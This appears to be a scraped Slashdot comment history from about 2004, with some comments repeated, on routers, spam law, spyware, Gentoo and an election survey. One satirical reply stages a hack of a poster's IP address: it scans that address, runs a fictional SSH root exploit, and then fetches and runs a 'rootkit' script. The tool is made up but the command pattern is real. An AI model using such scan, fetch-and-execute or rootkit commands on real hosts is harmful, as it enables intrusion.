Not as happy as I would be if Natalie Portman let me lick honey off of her body...but happier than if I had to eat chocolate cake from between Rhea Perlman's thighs
It's called DSL-G604T. This one does run Linux, you can get a shell on it and change the firmware to a custom made one if you wish.
Oh, I didn't know that one even existed, as it's mainly marketed in Australia, the U.K., and Russia. Pretty sweet device!
You can't change the kernel to whatever you want because both the ADSL and WLAN drivers are closed.
TI seems to be a mixed bag when it comes to GPLed drivers.
Still, it's a nice device that I know is based on dependable software for the most part.
Their non-Linux routers are also very dependable. I have the DGL-4300, and it is rock solid, which is amazing for a fairly new product. They market it as a "Gaming Router", but it has GigE, WPA Enterprise with AES, and traffic shaping.
Finding the "GNU GPL Notice" inside the box it came in was pretty cool.
That is nice. I wish some other companies would do this. *cough*Linksys*cough* *cough*Buffalo*cough*
Just post all your email on Slashdot. Since no one reads the articles anyway, no one will notice when they aren't on topic, and there's always the possibility that your email from Mom will actually be on topic. Furthermore, it will be easy to search using Google, and the Wayback Machine will automatically archive everything for you.
As a bonus, you can tell which emails are worth reading by how they get moderated. All your work related emails will probably be modded Troll, except for your performance review, which will be modded +5 Funny. Email from your illicit lovers will be modded Insightful, since that type of thing is new to most of us. Email from your family will be conveniently modded down so you will not have to deal with it. Your friends won't need to send you any email at all, since they are probably already on Slashdot, and therefore, know enough to post in your threads.
Problem solved. Ah, Slashdot... Is there anything it can't do?
Dear MPAA, My ipaddress is 199.2.120.89. My slashdot username is my real name. I download most of my movies off suprnova.org. Oh yea, and I'm not afraid.
Dear Mr. England,
Thank you for providing us with your machine information. We have fixed the situation to better serve your secure viewing needs:
$ nmap -P0 -sT 199.2.120.89
Starting nmap 3.70 ( http://www.insecure.org/nmap ) at 2004-11-03 22:47 Eastern Standard Time Interesting ports on 199.2.120.89: PORT STATE SERVICE 22/tcp open ssh
Nmap run completed -- 1 IP address (1 host up) scanned in 1.732 seconds
$ supersshnuke --root-shell 199.2.120.89
Contacting 199.2.120.89... Connected! Detecting SSH version... Done! SSH on this machine is: older than dirt Attempting sploit... PWNED! Dropping you into a root shell...
# wget -q http://mpaa.org/rootkit/linux/suite-6.22.sh # sh suite-6.22.sh MPAA Customer Compliance Suite V6.22 Downloading MCCS Components... 100% Installing MCCS... 100% Configuring MCCS... 100% Starting MCCS... Done! # tail/var/log/messages Nov 3 22:59:50 localhost mccs: blocked evil site "suprnova.org" Nov 3 22:59:56 localhost mccs: killed evil p2p application "edonkey" Nov 3 22:59:57 localhost mccs: killed evil p2p application "bitorrent" Nov 3 22:59:58 localhost mccs: killed evil p2p application "irc" Nov 3 23:00:10 localhost mccs: DRM compliance scan started... Nov 3 23:02:12 localhost mccs: deleting non-compliant file, "speed-movie.mp4" Nov 3 23:02:13 localhost mccs: deleting non-compliant file, "lordofrings.divx" Nov 3 23:02:14 localhost mccs: deleting MPAA embarrassment, "free-willy.mp4" Nov 3 23:02:15 localhost mccs: deleting non-compliant file, "deep-throat.mp4"
Your computer is now safe from non-compliance. Thank you for your cooperation.
Is the editor seriously advocating jail time for spamming?
I'm not going to dispute that. That being said, I'd like to point out that the editor didn't really read the article. The law provides for a maximum of 15 years jail time for spamming, which is what the prosecution was seeking. In other words, Virginia already determined that they think spammers are criminals worthy of jail time in certain cases.
This case went before a jury, who determined:
Jurors who convicted Jeremy D. Jaynes, 30, and Jessica DeGroot, 28, later
sentenced Jaynes to a nine-year prison term and fined DeGroot $7,500 for three convictions each of sending e-mails with fraudulent and untraceable routing information.
The article points out that the judge was reluctant about putting it to a jury. I'm not sure what that means in this context, though. We'd have to check the court documents to determine why he felt this way. Maybe the judge agrees with you, and was having a hard time balancing his duty with his conscience.
I always thought the south was the only region that didn't understand the need for seperation of church and state.
It's not really a regional thing. For instance, I live in Massachusetts, which has a heavy Catholic influence. Sure, we have gay marriage, but the stores still close a 6 pm on a Sunday, because of Blue Laws.
Granted, the laws aren't as heavily influenced today by religion as the laws are in The South (tm), but it still has its moments.
Wow, really? I never would have pegged you as a Gentoo fan.
I'm quite confident that I don't have any spyware because I DON'T DO STUPID THINGS like blindly install binaries from nefarious sources.
Back on topic... Not doing stupid things only gets you so far. For instance, you still need to be careful of what extra software gets installed from non-nefarious sources like commercial software products. Some commercial software comes with spyware on the installation disk. Thus, you should turn autorun off in your Windows registry, and only run the installers you want.
It's the CFLAGS that people laugh at us gentoo users over, because [some] people think that by putting in the magical use flags they'll get a 100% performance improvement or something.
Oh man, you're going to be on funroll-loops.org soon for that faux pas.:D
The vast majorioty of Americans get essentially all their news through 4 or 5 media megaconglomerates.
Which get their international news from international sources. Even my local paper has stories like how some guy in Latvia was injured when a bicycle fell off the back of a truck.
The issue is particularly critical because our current presidential election will turn on just how extensively the American public is missinformed.
Properly done research does not start with an assumption. The researchers asked questions skewed towards the viewpoint that they supported, and asked hypothetical questions that have no useful purpose outside of supporting their beliefs. This paper also raises certain questions that it only provides conjecture as answers to instead of performing more research to answer the questions (i.e. creates hypotheses without trying to prove them). These questions are phrased in a way that assumes that one side has an incorrect view. The paper is peppered with vitriolic statements which declare that one side is wrong. Properly performed research has no political agenda or bias or any sort.
Furthermore, this study polarizes its population into the two main political groups first rather than comparing the entire population and breaking it down into different sets of groups to find trends later. This is also a sign of improperly done research. All this paper basically says is that Kerry supporters match the researchers' view of the world and Bush supporters don't; it is simply an opinion piece disguised as research.
The actual truth of the matter is that both platforms are orthogonal to the view of most of the rest of the world, so this "research" was pointless. The bottom line is this: Kerry does NOT represent Europe any more than Bush does. U.S. foreign policy will not change drastically if Kerry is elected (see his site), so it is a poor argument to say that Kerry will somehow pacify Europe.
That survey explains why the country has become so polarized and why this election is so heated. The two sides have different perceptions of reality.
This survey doesn't explain anything. It is improperly done research. The two sides always have different perceptions of reality, so it's a moot point. It doesn't mean either one of them reflects reality.
I read the Google cache of her comment and cannot see how it was "threatening".
It wasn't the content that got her into trouble, it was the fact that someone turned her in.
Furthermore, the Secret Service must investigate all threats on the president's life no matter how ridiculous they seem to be. If I tell the Secret Service that you implied to me that you were going to do something to the president, I guarantee the Secret Service would contact you. They take all threats very seriously.
Where did he say he wasn't going to watch it again?
It was implied by the, "...potential future income that you were probably never going to give them anyway". In other words, he's saying that if you watch the movie once with PPV, and you never order it again, the provider wouldn't technically be losing money if you recorded the movie for later viewing. If this is the case, however, you wouldn't need to record the movie, because you won't be watching it again.
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What's wrong with chocolate cake?
Wrong moon. You want Mimas.
It's Greedo, and he didn't get a chance to shoot, because...
HAN SHOOTS FIRST!!!!!
Damn, it was easier than I though to segue that in there! Anyway, I'm off to pummel a deceased equine...
Oh, I didn't know that one even existed, as it's mainly marketed in Australia, the U.K., and Russia. Pretty sweet device!
You can't change the kernel to whatever you want because both the ADSL and WLAN drivers are closed.
TI seems to be a mixed bag when it comes to GPLed drivers.
Still, it's a nice device that I know is based on dependable software for the most part.
Their non-Linux routers are also very dependable. I have the DGL-4300, and it is rock solid, which is amazing for a fairly new product. They market it as a "Gaming Router", but it has GigE, WPA Enterprise with AES, and traffic shaping.
Finding the "GNU GPL Notice" inside the box it came in was pretty cool.
That is nice. I wish some other companies would do this. *cough*Linksys*cough* *cough*Buffalo*cough*
Which router? Most D-Link routers use the ThreadX RTOS from ExpressLogic, not Linux.
Some of their other products use Linux.
As a bonus, you can tell which emails are worth reading by how they get moderated. All your work related emails will probably be modded Troll, except for your performance review, which will be modded +5 Funny. Email from your illicit lovers will be modded Insightful, since that type of thing is new to most of us. Email from your family will be conveniently modded down so you will not have to deal with it. Your friends won't need to send you any email at all, since they are probably already on Slashdot, and therefore, know enough to post in your threads.
Problem solved. Ah, Slashdot... Is there anything it can't do?
And a dessert topping!
Dear Mr. England,
Thank you for providing us with your machine information. We have fixed the situation to better serve your secure viewing needs:
Your computer is now safe from non-compliance. Thank you for your cooperation.Sincerely,
Mortimer Snerd
MPAA Compliance Officer
I'm not going to dispute that. That being said, I'd like to point out that the editor didn't really read the article. The law provides for a maximum of 15 years jail time for spamming, which is what the prosecution was seeking. In other words, Virginia already determined that they think spammers are criminals worthy of jail time in certain cases.
This case went before a jury, who determined:
The article points out that the judge was reluctant about putting it to a jury. I'm not sure what that means in this context, though. We'd have to check the court documents to determine why he felt this way. Maybe the judge agrees with you, and was having a hard time balancing his duty with his conscience.For a spelling mistake? That's a little harsh.
It's not really a regional thing. For instance, I live in Massachusetts, which has a heavy Catholic influence. Sure, we have gay marriage, but the stores still close a 6 pm on a Sunday, because of Blue Laws.
Granted, the laws aren't as heavily influenced today by religion as the laws are in The South (tm), but it still has its moments.
Wow, really? I never would have pegged you as a Gentoo fan.
I'm quite confident that I don't have any spyware because I DON'T DO STUPID THINGS like blindly install binaries from nefarious sources.
Back on topic... Not doing stupid things only gets you so far. For instance, you still need to be careful of what extra software gets installed from non-nefarious sources like commercial software products. Some commercial software comes with spyware on the installation disk. Thus, you should turn autorun off in your Windows registry, and only run the installers you want.
What? Oh, Pre-Election Discussion.
Nevermind.
Too bad. I was really looking forward to someone saying, "Mr. Poo will you accept the nomination?" ;)
Or German for that matter (from which the word is from originally).
I just tested this, and no, it still lands butter side down.
I was unable to determine which buttered side it landed on, however.
Worse. I encountered a Dodge minivan with underlighting and a VTEC sticker.
I had to pull over to let the seizures pass.
Oh man, you're going to be on funroll-loops.org soon for that faux pas. :D
Which get their international news from international sources. Even my local paper has stories like how some guy in Latvia was injured when a bicycle fell off the back of a truck.
The issue is particularly critical because our current presidential election will turn on just how extensively the American public is missinformed.
Properly done research does not start with an assumption. The researchers asked questions skewed towards the viewpoint that they supported, and asked hypothetical questions that have no useful purpose outside of supporting their beliefs. This paper also raises certain questions that it only provides conjecture as answers to instead of performing more research to answer the questions (i.e. creates hypotheses without trying to prove them). These questions are phrased in a way that assumes that one side has an incorrect view. The paper is peppered with vitriolic statements which declare that one side is wrong. Properly performed research has no political agenda or bias or any sort.
Furthermore, this study polarizes its population into the two main political groups first rather than comparing the entire population and breaking it down into different sets of groups to find trends later. This is also a sign of improperly done research. All this paper basically says is that Kerry supporters match the researchers' view of the world and Bush supporters don't; it is simply an opinion piece disguised as research.
The actual truth of the matter is that both platforms are orthogonal to the view of most of the rest of the world, so this "research" was pointless. The bottom line is this: Kerry does NOT represent Europe any more than Bush does. U.S. foreign policy will not change drastically if Kerry is elected (see his site), so it is a poor argument to say that Kerry will somehow pacify Europe.
That survey explains why the country has become so polarized and why this election is so heated. The two sides have different perceptions of reality.
This survey doesn't explain anything. It is improperly done research. The two sides always have different perceptions of reality, so it's a moot point. It doesn't mean either one of them reflects reality.
They can if they read their DNS logs.
Okay, we can see the link to this article.
now the same operating system used to power millions of home PCs is likely to be used for cash machines in the UK.
But where the heck is the link to this one?!?
I think someone forgot something.
It wasn't the content that got her into trouble, it was the fact that someone turned her in.
Furthermore, the Secret Service must investigate all threats on the president's life no matter how ridiculous they seem to be. If I tell the Secret Service that you implied to me that you were going to do something to the president, I guarantee the Secret Service would contact you. They take all threats very seriously.
It was implied by the, "...potential future income that you were probably never going to give them anyway". In other words, he's saying that if you watch the movie once with PPV, and you never order it again, the provider wouldn't technically be losing money if you recorded the movie for later viewing. If this is the case, however, you wouldn't need to record the movie, because you won't be watching it again.